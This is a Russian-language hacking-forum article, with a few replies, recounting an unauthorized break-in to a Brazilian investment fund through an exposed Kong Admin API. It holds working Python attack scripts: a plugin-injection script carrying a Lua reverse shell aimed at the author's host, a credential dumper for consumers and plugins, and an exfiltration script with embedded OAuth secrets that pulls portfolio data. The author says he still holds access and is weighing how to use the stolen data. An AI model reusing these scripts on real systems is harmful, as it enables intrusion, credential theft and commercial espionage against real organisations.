LIMB
Вход Регистрация

тема

[СТАТЬЯ] Kong API Gateway: От открытого порта 8001 до кражи торговых алгоритмов фонда.

MrRoot · · 3 ответов · 477 просмотров

Всем привет.

Думаю, каждый, кто хоть раз строил архитектуру на микросервисах, сталкивался с дикой головной болью: сотни эндпоинтов, везде нужно прикрутить авторизацию, настроить лимиты, логирование и SSL. Чтобы не пилить это в каждом сервисе отдельно, разрабы и DevOps-инженеры придумали ставить на входе «швейцарский нож» - API Gateway.

И вот один из самых популярных инструментов в этой нише - Kong сегодня станет нашим подопытным. Если по-простому, это такая прокси на стероидах, которая стоит перед всей твоей инфраструктурой и рулит всем трафиком, который летит в твои бэкенды.

Любая такая система, особенно если она управляет доступом ко всему бизнесу, - это критическая точка отказа. Наша цель сегодня будет проста и цинична: мы не будем искать 0-day эксплойты или ломать бинарники. Мы используем легитимные возможности админки Kong, чтобы получить полный контроль над трафиком крупного бразильского инвестиционного фонда.

Всё началось с банального рекона. Я сканировал диапазоны Латинской Америки и наткнулся на порт 8001. В мире Kong это порт Admin API, через который можно делать с шлюзом что угодно. Обычно его прячут за фаерволом, но тут он торчал наружу, как открытая касса.

Не удалось прогрузить медиа


Шаг 1. Открытая дверь в "Центр управления"

Начнем с базы. Я просто вбил адрес   и нажал Enter. Сервер не спросил у меня ни логина, ни пароля, ни токена. Он просто взял и ответил JSON-ом с версией Kong и статусом ноды.

Что это нам дало? Простыми словами: порт 8001 - это Admin API. Это "мозг" шлюза.

Через этот порт админы говорят шлюзу:

  • Создай нового юзера.
  • Подключи вот этот секретный бэкенд.
  • Включи проверку паролей.

Получив доступ к корню (/), мы автоматически получили доступ ко всем "рычагам" управления. Мы можем читать конфиги (GET), а в худшем случае - и менять их (POST/DELETE).

Глава 2. Попытка RCE: Классика жанра

Листая документацию Kong, я наткнулся на раздел о Serverless Functions (плагины pre-function и post-function). Суть проста: шлюз позволяет выполнять произвольный Lua-код прямо во время обработки запроса. Для разработчика это гибкость, для нас - потенциальный RCE.

Логика атаки вырисовывалась следующая:

1. Создаем левый сервис.
2. Вешаем на него роут.
3. Подключаем к роуту плагин pre-function.
4. В конфиг плагина прокидываем Lua-пейлоад с вызовом os.execute, который стучится на мой VPS.

Звучало как план. Я поднял неткат (nc -lvnp 4444) и накидал скрипт, чтобы автоматизировать процесс регистрации вредоносного сервиса.

Python:
import requests
import sys

TARGET = "http://ip:8001"
LHOST = "ip"
LPORT = "4444"

payload = f"""
 local handle = io.popen("bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
 local result = handle:read("*a")
 handle:close()
"""

def exploit():
    s = requests.Session()
    
    svc_data = {"name": "rce-test", "url": "http://google.com"}
    r = s.post(f"{TARGET}/services", json=svc_data)
    if r.status_code != 201:
        sys.exit(0)

    route_data = {"paths": ["/rce"], "service": {"name": "rce-test"}}
    r = s.post(f"{TARGET}/routes", json=route_data)
    
    plugin_data = {
        "name": "pre-function",
        "config": {"functions": [payload]}
    }
    r = s.post(f"{TARGET}/services/rce-test/plugins", json=plugin_data)
    
    requests.get(f"http://ip:8000/rce")

if __name__ == "__main__":
    exploit()

Скрипт отработал, сервис создался, роут зарегистрировался. Я дернул эндпоинт, ожидая увидеть заветное соединение в терминале... но в ответ тишина.

Я потратил еще около часа, перебирая варианты пейлоадов: менял io.popen на os.execute, пробовал python-реверсы, sh, perl. Результат нулевой. Либо таймаут, либо 500-я ошибка, но шелл не прилетал.

Скорее всего, админы не совсем забили на безопасность и параметр untrusted_lua в конфиге стоял в режиме sandbox (либо off), что блокирует вызовы системных функций. Биться головой о закрытую дверь смысла не было, поэтому идею с RCE я временно отложил в ящик и решил посмотреть, что еще интересного можно вытащить через Admin API, раз уж у нас есть доступ на чтение.

Глава 3. Если не RCE, то тотальный дамп

Отложив идею с шеллом, я вернулся к тому, что у нас уже было - полному доступу к Admin API. По сути, передо мной была открытая панель управления всей безопасностью фонда. Зачем мне ломать стену, если я могу просто попросить ключи?

Я решил написать специализированный сканер. Его задача была проста: пройтись по всем сущностям Kong и выгрузить всё, что плохо лежит. Меня интересовали не скучные логи, а «мясо»:

- Consumers - кто пользуется API? (партнеры, внутренние сервисы).
- Plugins - где лежат хардкодные пароли, ключи шифрования и настройки авторизации.
- Credentials - OAuth токены, ключи API, JWT-секреты.

Логика простая: Kong хранит всё это в базе, и Admin API любезно отдает это по GET-запросу. Руками перебирать сотни JSON-ов лень, поэтому я накидал многопоточный дампер на Python. Он должен был вычистить всё подчистую.

Python:
import requests
import os
import concurrent.futures
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = "http://ip:8001"
OUT_DIR = "loot_dump"

endpoints = [
    "consumers",
    "services",
    "routes",
    "plugins",
    "upstreams",
    "certificates",
    "acls",
    "snis",
    "ca_certificates"
]

class Color:
    GREEN = '\033[92m'
    RED = '\033[91m'
    CYAN = '\033[96m'
    RESET = '\033[0m'

def save_loot(name, data):
    if not os.path.exists(OUT_DIR):
        os.makedirs(OUT_DIR)
    
    filename = f"{OUT_DIR}/{name}.json"
    with open(filename, 'w', encoding='utf-8') as f:
        json.dump(data, f, indent=4)

def scan_endpoint(ep):
    url = f"{TARGET}/{ep}"
    try:
        r = requests.get(url, verify=False, timeout=10)
        if r.status_code == 200:
            data = r.json()
            count = len(data.get('data', []))
            if count > 0:
                print(f"{Color.GREEN}[+] {ep.upper():<15} : {count} items found{Color.RESET}")
                save_loot(ep, data)
                
                if ep == "consumers":
                    for c in data['data']:
                        cid = c['id']
                        username = c.get('username', 'unknown')
                        check_consumer_creds(cid, username)
            else:
                print(f"{Color.CYAN}[*] {ep.upper():<15} : Empty{Color.RESET}")
        else:
            print(f"{Color.RED}[!] {ep.upper():<15} : HTTP {r.status_code}{Color.RESET}")
    except Exception as e:
        print(f"{Color.RED}[ERROR] {ep}: {str(e)}{Color.RESET}")

def check_consumer_creds(cid, username):
    auth_methods = ["basic-auth", "key-auth", "oauth2", "jwt", "hmac-auth"]
    
    for method in auth_methods:
        url = f"{TARGET}/consumers/{cid}/{method}"
        try:
            r = requests.get(url, verify=False)
            if r.status_code == 200:
                creds = r.json().get('data', [])
                if creds:
                    print(f"    {Color.GREEN}-> Found {method} for user '{username}'!{Color.RESET}")
                    save_loot(f"creds_{username}_{method}", creds)
        except: pass

def main():
    print(f"{Color.CYAN}[*] Target: {TARGET}{Color.RESET}")
    print("[*] Starting extraction process...")
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
        executor.map(scan_endpoint, endpoints)

    print(f"\n{Color.GREEN}[DONE] All data extracted to ./{OUT_DIR}{Color.RESET}")

if __name__ == "__main__":
    main()

Запустив скрипт, я откинулся на спинку кресла. Терминал окрасился в зеленый цвет: скрипт находил сервисы, роуты, потребителей. Но самое интересное началось, когда он добрался до плагинов и кредов. В папку loot_dump посыпались JSON-файлы, и анализ содержимого показал, что мы сорвали джекпот.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Глава 4. Разбор добычи: Ключи от всех дверей

Скрипт отработал, и папка loot_dump наполнилась файлами. Самое время налить кофе и посмотреть, что именно мы вытащили. Спойлер: мы нашли не просто конфиги, а ключи, которые позволяют нам стать кем угодно в этой системе - от разработчика до банка-партнера.

Давайте пройдемся по самым интересным находкам.

1. Перепись населения (consumers.json) Первым делом я открыл файл consumers.json. В терминологии Kong "Consumer" - это любой, кто пользуется API: мобильное приложение, фронтенд сайта или внешний партнер.

Вместо безликих ID я увидел вполне конкретные имена:

Не удалось прогрузить медиа


btg-consumer-api
 - судя по названию, интеграция с банком BTG.
investo-consumer-user-api - еще один крупный партнер.
rundeck-consumer-api - система автоматизации (Rundeck), у которой наверняка админские права.
apidev-consumer-leo - а вот и человеческий фактор. Тестовая учетка разработчика Лео. Обычно на таких висят максимальные права для отладки.

Это уже User Enumeration. Мы знаем, кого атаковать. Но зачем брутить пароли, если сканер вытащил их в чистом виде?

2. Связка ключей (creds_*.json) Скрипт автоматически проверил каждого юзера на наличие кредов и сложил их в отдельные файлы. И вот тут нас ждал настоящий джекпот.

В файлах creds_..._oauth2.json лежали пары client_id и client_secret в открытом виде.

Не удалось прогрузить медиа


Для тех, кто не в курсе: имея эти два ключа, я могу отправить POST-запрос на эндпоинт /oauth2/token с параметром grant_type=client_credentials и получить валидный access_token. Фактически, у меня на руках оказались ключи от имени банка BTG, системы деплоя Rundeck и разработчика Лео. Я могу генерировать токены и действовать от их имени абсолютно легально. WAF меня пропустит, логирование запишет это как штатную активность.

3. "Дымящийся пистолет" в плагинах (plugins.json) Но самое сладкое скрывалось в plugins.json. Обычно API Gateway не просто проксирует запросы, он их обогащает. Например, добавляет секретный заголовок, чтобы бэкенд понимал: "Запрос пришел от Kong, ему можно верить".

Я начал искать плагин request-transformer и нашел вот такую конфигурацию:

Не удалось прогрузить медиа


Админы захардкодили Basic Auth креды прямо в конфиг плагина. Декодируем Base64 (YWNldXNlcjp...) и получаем логин/пароль: aceuser:QBNHX5p0....

Что это значит? Это пароль от самого бэкенда (IBM App Connect). Теперь пазл сложился полностью:
  • У нас есть адреса бэкендов (из services.json).
  • У нас есть пароль от бэкендов (из plugins.json).

Нам больше не нужен Kong. Мы можем стучаться напрямую к базе данных и сервисам, минуя любые проверки шлюза. Это называется Direct Origin Access, и это критическая уязвимость.

Глава 4.5. Карта местности: Подарок в конфигах

Прежде чем писать финальный скрипт для выгрузки данных, оставался один вопрос: куда именно стучаться? У нас есть валидные токены, есть адреса серверов, но мы не знаем точных эндпоинтов. Гадать, что там - /api/v1/users или /app/clients - можно часами.

Я вернулся к анализу файла plugins.json. Обычно там настраивают не только авторизацию, но и CORS - правила, разрешающие браузеру делать запросы с других доменов. И вот, листая конфиг, я наткнулся на интересный список разрешенных ориджинов (Origins):

Не удалось прогрузить медиа


Стоп. Cloudflare-адреса мне не интересны, а вот первый пункт зацепил. Порт 4003. Зачем API Gateway разрешает запросы с этого нестандартного порта? Обычно там вешают админки, метрики или... документацию.

Я вбил адрес   в браузер и бинго!

Не удалось прогрузить медиа


Передо мной открылся Swagger UI. Это была не просто заглушка, а полная, интерактивная документация ко всему API фонда. Админы сами прописали этот адрес в конфиге, чтобы фронтенд документации мог общаться с бэкендом, но забыли, что конфиг этот может прочитать кто угодно.

Всё лежало как на ладони:

GET /etf/carteiras - список всех инвестиционных портфелей.
GET /etf/carteiras/{id}/historico - та самая история доходности, за которой охотятся конкуренты.
GET /etf/eventos-corporativos - инсайды по дивидендам.

Теперь у меня был полный комплект для идеального ограбления:

1. Ключ (OAuth-токен из consumers).
2. Замок (API Gateway).
3. Инструкция по открытию (найденный в конфиге Swagger).

Оставалось только соединить это всё в один Python-скрипт и нажать «Enter».

Глава 5. Эксфильтрация: Выносим «Секретный соус»

Имея на руках client_id и client_secret от учетки разработчика (которые мы нашли в дампе consumers), нам больше не нужно ничего ломать. Мы просто просим у шлюза токен, и он нам его дает. С этого момента для системы безопасности мы - свой человек.

Но что именно качать? В финансовом мире самое дорогое - это не персональные данные (хотя и они важны), а Интеллектуальная Собственность (IP). Инвестиционные фонды тратят миллионы долларов на аналитиков и алгоритмы, чтобы составить идеальный портфель акций. Это их «секретный ингредиент». Если конкурент узнает точный состав портфеля и веса акций, он может скопировать стратегию бесплатно.

Я написал финальный скрипт. Его задача: авторизоваться, пройтись по всем финансовым продуктам банка и выкачать их состав, историю доходности и корпоративные события.

Python:
import requests
import json
import os
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TOKEN_URL = "https://ip:8443/etf/oauth2/token"
API_BASE = "https://ip:8443/etf"

CLIENT_ID = "LwAJFpzJ94tk7RCW
3d1HbBkuthXs0Q1F"

CLIENT_SECRET = "tInUK9FOB1m
YVw8Bl42BKoQPUOZ3b7CB"

def get_token():
    print(f"[*] Authenticating as Client ID: {CLIENT_ID[:5]}...")
    data = {
        "grant_type": "client_credentials",
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET
    }
    try:
        r = requests.post(TOKEN_URL, data=data, verify=False)
        if r.status_code == 200:
            token = r.json().get("access_token")
            print(f"[+] OAuth Token obtained: {token[:15]}...")
            return token
        else:
            print(f"[-] Auth failed: {r.text}")
            exit()
    except Exception as e:
        print(f"[!] Network error: {e}")
        exit()

def dump_data(token):
    headers = {"Authorization": f"Bearer {token}"}
    os.makedirs("financial_loot", exist_ok=True)

    endpoints = [
        "/carteiras",
        "/retornos",
        "/eventos-corporativos",
        "/indices"
    ]

    print("\n[*] Starting Data Exfiltration...")

    for ep in endpoints:
        print(f"[*] Dumping endpoint: {ep}")
        try:
            r = requests.get(f"{API_BASE}{ep}", headers=headers, verify=False)
            if r.status_code == 200:
                data = r.json()
                filename = f"financial_loot{ep.replace('/', '_')}.json"
                with open(filename, "w") as f:
                    json.dump(data, f, indent=4)
                print(f"[+] Saved {len(data)} records to {filename}")
            else:
                print(f"[-] Failed {ep}: {r.status_code}")
        except Exception as e:
            print(f"[!] Error processing {ep}: {e}")

    print("\n[*] Running Deep IDOR Scan (Hidden Portfolios)...")
    for i in range(1, 10):
        url = f"{API_BASE}/carteiras/{i}"
        try:
            r = requests.get(url, headers=headers, verify=False)
            if r.status_code == 200:
                data = r.json()
                
                portfolios = data.get('portfolios', [])
                if not portfolios:
                    print(f"[-] ID {i} exists but is empty (Skipping)")
                    continue

                p_name = portfolios[0].get('indexName', 'Unknown')
                print(f"[!] FOUND HIDDEN PORTFOLIO ID {i}: {p_name}")
                
                with open(f"financial_loot/portfolio_{i}.json", "w") as f:
                    json.dump(data, f, indent=4)
                
                hist_url = f"{url}/historico"
                rh = requests.get(hist_url, headers=headers, verify=False)
                if rh.status_code == 200:
                    print(f"    -> Historical data extracted for ID {i}")
                    with open(f"financial_loot/portfolio_{i}_history.json", "w") as f:
                        json.dump(rh.json(), f, indent=4)
        except Exception as e:
            print(f"[!] Error on ID {i}: {e}")

if __name__ == "__main__":
    token = get_token()
    dump_data(token)

Что мы получили?

Скрипт отработал за пару секунд, и я открыл полученные JSON-файлы. То, что я увидел, тянет на серьезный коммерческий шпионаж.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Что мы получили?

Скрипт отработал идеально. В папке financial_loot оказались JSON-файлы с полным составом флагманских продуктов фонда.

Стратегия фонда "DIVIDENDYIELD_DOWNSIDEVOL_ROE" В файле portfolio_1.json находится детальная структура активов. Это не просто список тикеров (вроде VALE3 или PETR4), а их точные процентные доли вплоть до сотых долей, а также алгоритм ребалансировки.

Я намеренно не публикую скриншоты с точными цифрами и процентами активов в этой статье. Доступ к API всё еще активен, токены валидны, и я пока ищу наиболее интересное применение этим данным, помимо простого ресёрча.
Вот реальные сценарии ущерба от такой утечки:

Атака «Фонд-Клон» (Copycat Fund): Главная ценность этого фонда - его алгоритм отбора акций (тот самый «секретный соус»). Инвесторы платят комиссию за управление (Management Fee) именно за эту экспертизу. Имея на руках точный состав портфеля и историю ребалансировки, конкурент может запустить точно такой же продукт, но с нулевой комиссией, так как ему не нужно содержать штат аналитиков. Это прямая угроза бизнес-модели.

Фронтраннинг (Front-Running): Зная алгоритм и текущие веса в портфеле, злоумышленники могут предсказывать крупные сделки фонда. Если робот фонда решит купить большой пакет акций VALE3, цена пойдет вверх. Хакер, зная это заранее (через анализ API), покупает акции раньше фонда и продает их ему же, но дороже. Это паразитирование на ликвидности компании.

Полный захват управления: Не забывайте, что мы зашли через Admin API. Мы ограничились чтением (GET), но права позволяли нам делать POST и DELETE. Мы могли бы изменить маршруты API, перенаправив всех реальных клиентов банка на фишинговый сайт, или просто удалить все сервисы (DELETE /services), остановив работу бизнеса на несколько дней. Это миллионные убытки и потеря репутации.

В начале статьи мы искали RCE и сложные уязвимости, а закончили тем, что просто взяли то, что плохо лежало.

Этот кейс - идеальный пример того, что безопасность - это не только дорогие WAF и навороченные системы защиты. Безопасность начинается с гигиены. Мы прошли путь от случайно найденного порта 8001 до полной компрометации коммерческой тайны крупного финтеха, не применив ни одного эксплойта.

  • Админы забыли закрыть порт.
  • Разработчики захардкодили пароли в конфиги.
  • Архитекторы выставили бэкенды наружу.

Вся эта цепочка ошибок привела к тому, что любой школьник с ноутбуком мог бы управлять финансовыми потоками фонда.

Мораль проста: Проверяйте свой периметр. Закрывайте Admin API от внешнего мира. И никогда, слышите, никогда не храните секреты в открытом виде.

Берегите свои порты. Всем удачи!
👍29 😁6 🤔6
а в конфигах роутов не было ссылок на внутренние неймспейсы куба или ноды хостов через dns куберов? это бы дало карту сети для хоризонтального движения
👍3
Круто, очень интересно было читать
👍1
картинкие сдохшие:(

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.